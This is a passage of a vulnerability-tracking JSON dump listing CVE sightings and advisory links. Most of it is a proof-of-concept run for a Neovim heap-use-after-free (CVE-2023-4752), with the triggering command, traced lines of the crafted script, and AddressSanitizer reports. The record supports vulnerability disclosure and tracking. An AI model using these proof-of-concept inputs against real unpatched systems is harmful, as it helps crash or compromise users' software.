"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47128", "type": "published-proof-of-concept", "source": "https://github.com/piccolo-orm/piccolo/security/advisories/GHSA-xq59-7jf3-rjc6", "content": "", "creation_timestamp": "2023-11-10T17:36:32.000000Z"}, {"uuid": "84668c7f-a7c6-4fa8-8ddc-14efb259bd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47633", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-6fwg-jrfw-ff7p", "content": "", "creation_timestamp": "2023-12-04T08:28:41.000000Z"}, {"uuid": "0cd03fd3-4f9b-48c1-8d71-2ff6476d85b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47623", "type": "published-proof-of-concept", "source": "https://github.com/koush/scrypted/security/advisories/GHSA-w4hv-vmv9-hgcr", "content": "", "creation_timestamp": "2023-10-13T21:05:44.000000Z"}, {"uuid": "cbb97b52-3411-4152-b6e5-85be64fcc129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47890", "type": "published-proof-of-concept", "source": "https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2", "content": "", "creation_timestamp": "2023-11-21T21:33:54.000000Z"}, {"uuid": "6bdde4f4-dc28-46bf-b34c-80e818abcca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47637", "type": "published-proof-of-concept", "source": "https://github.com/pimcore/pimcore/security/advisories/GHSA-72hh-xf79-429p", "content": "", "creation_timestamp": "2023-11-15T08:17:43.000000Z"}, {"uuid": "a3adf84f-9be2-40a4-9cb5-1205d27c410a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "d45f2ed4-8d8d-4b15-8fb9-9e3ae0fb0b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47698", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mnkd5ffda62e", "content": "CVE-2023-47698 - Missing Authorization in Japanized For WooCommerce <=2.6.4. CVSS 8.6. Exploits incorrectly configured access controls. Update immediately if patch available. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2023-47698/", "creation_timestamp": "2026-06-05T14:14:22.562392Z"}, {"uuid": "b21e282c-4904-452d-8661-c0d969e3dafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/e26ec2546b365e6b82736c7c283fc9ac", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5368==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006499 at pc 0x000000812511 bp 0x7fffd670d9c0 sp 0x7fffd670d9b8\nREAD of size 1 at 0x602000006499 thread T0\n    #0 0x812510 in process_next_cpt_value /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10\n    #1 0x812177 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3324:20\n    #2 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #3 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #4 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #5 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #6 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #7 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n    #8 0xa6e4c5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:99:26\n    #9 0x66b3e7 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:336:5\n    #10 0x668c38 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1275:3\n    #11 0x9035d0 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6288:7\n    #12 0x8f8e37 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6265:5\n    #13 0x8f241e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1210:3\n    #14 0x8f1478 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6658:9\n    #15 0x75e5f3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6497:5\n    #16 0x75e489 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6480:3\n    #17 0x763467 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6412:7\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7f4165870082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x602000006499 is located 9 bytes inside of 10-byte region [0x602000006490,0x60200000649a)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x95195c in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:288:5\n    #3 0x5e23fb in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2003:3\n    #4 0x5dbbdb in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:891:5\n    #5 0x5db89a in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:839:3\n    #6 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n    #7 0x5dfe32 in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1155:5\n    #8 0x5dd1e3 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1327:14\n    #9 0x5df086 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1034:11\n    #10 0x75f87d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4277:17\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #15 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #16 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #17 0x692e21 in callback_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5592:10\n    #18 0xaa7449 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1268:12\n    #19 0xaa4104 in findtags_apply_tfu /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1531:16\n    #20 0xa9ef0e in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:2390:12\n    #21 0x813250 in get_next_tag_completion /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2973:7\n    #22 0x812b88 in get_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3245:5\n    #23 0x8121cf in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3340:23\n    #24 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #25 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #26 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #27 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #28 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #29 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n\npreviously allocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x8a08a7 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:194:15\n    #4 0x8a0917 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:212:17\n    #5 0x8a0d78 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:431:10\n    #6 0x944f18 in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:4412:22\n    #7 0x5de576 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1856:5\n    #8 0x5e57d2 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3036:16\n    #9 0x5c4585 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:217:7\n    #10 0x5c43ec in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:186:7\n    #11 0x5c4d2a in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:464:7\n    #12 0x5c5c7b in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:693:11\n    #13 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #15 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #16 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #17 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #18 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #19 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #21 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #23 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #24 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #25 0x7f4165870082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10 in process_next_cpt_value\nShadow bytes around the buggy address:\n  0x0c047fff8c40: fa fa 02 fa fa fa 03 fa fa fa 00 00 fa fa fd fd\n  0x0c047fff8c50: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8c60: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa fd fd\n  0x0c047fff8c70: fa fa 00 03 fa fa fd fd fa fa 00 03 fa fa fd fa\n  0x0c047fff8c80: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x0c047fff8c90: fa fa fd[fd]fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8ca0: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8cb0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8cc0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8cd0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8ce0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5368==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5418==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200003a319 at pc 0x00000073ccce bp 0x7fffc6b0eed0 sp 0x7fffc6b0eec8\nREAD of size 1 at 0x60200003a319 thread T0\n    #0 0x73cccd in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4182:14\n    #1 0x716b3d in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4755:21\n    #2 0x711abc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5381:7\n    #3 0x726098 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1346:7\n    #4 0x728cc0 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1264:5\n    #5 0x7013ac in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:821:10\n    #6 0xf25024 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:68:26\n    #7 0x7055e1 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:492:5\n    #8 0x6ff5bd in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1425:3\n    #9 0xc225c8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7987:7\n    #10 0xc07821 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7964:5\n    #11 0xbfbbea in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1164:3\n    #12 0xbf85f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8424:9\n    #13 0x9267d0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8732:5\n    #14 0x926516 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8715:3\n    #15 0x93ff3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8641:7\n    #16 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #17 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #18 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #19 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #20 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #21 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #22 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #23 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #24 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #25 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #26 0x7fa5d5e05082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60200003a319 is located 9 bytes inside of 10-byte region [0x60200003a310,0x60200003a31a)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d640d)\n    #1 0xb5f204 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0xca16f8 in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2060:5\n    #3 0x677b6f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1925:3\n    #4 0x66b441 in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:789:5\n    #5 0x66aeab in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:749:3\n    #6 0x66780c in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:610:5\n    #7 0x67353b in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1066:5\n    #8 0x66d49e in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1232:14\n    #9 0x671cc4 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:956:11\n    #10 0x93764d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4978:17\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8722a6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #14 0x86ee13 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #15 0x75330d in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1072:9\n    #16 0xf8715f in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1186:12\n    #17 0xf76cee in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1530:14\n    #18 0x73e2eb in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4312:11\n    #19 0x716b3d in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4755:21\n    #20 0x711abc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5381:7\n    #21 0x726098 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1346:7\n    #22 0x728cc0 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1264:5\n    #23 0x7013ac in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:821:10\n    #24 0xf25024 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:68:26\n    #25 0x7055e1 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:492:5\n    #26 0x6ff5bd in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1425:3\n    #27 0xc225c8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7987:7\n    #28 0xc07821 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7964:5\n    #29 0xbfbbea in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1164:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xb5f56d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:187:15\n    #4 0xb5f5e8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:205:17\n    #5 0xb5fd3b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:424:10\n    #6 0xf26c34 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:57:20\n    #7 0xcb1a2f in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:6228:22\n    #8 0x670a98 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:5\n    #9 0x67d486 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2921:9\n    #10 0x921052 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7080:7\n    #11 0x920e92 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7053:7\n    #12 0x8e06f0 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:986:7\n    #13 0x8de126 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1205:11\n    #14 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #17 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #18 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #19 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #20 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #21 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #22 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #23 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #24 0x7fa5d5e05082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4182:14 in ins_compl_get_exp\nShadow bytes around the buggy address:\n  0x0c047ffff410: fa fa fd fd fa fa fd fa fa fa 00 00 fa fa 00 00\n  0x0c047ffff420: fa fa fd fd fa fa 02 fa fa fa 02 fa fa fa 02 fa\n  0x0c047ffff430: fa fa 03 fa fa fa fd fd fa fa fd fa fa fa fd fd\n  0x0c047ffff440: fa fa 00 03 fa fa fd fd fa fa 00 03 fa fa fd fa\n  0x0c047ffff450: fa fa 02 fa fa fa fd fa fa 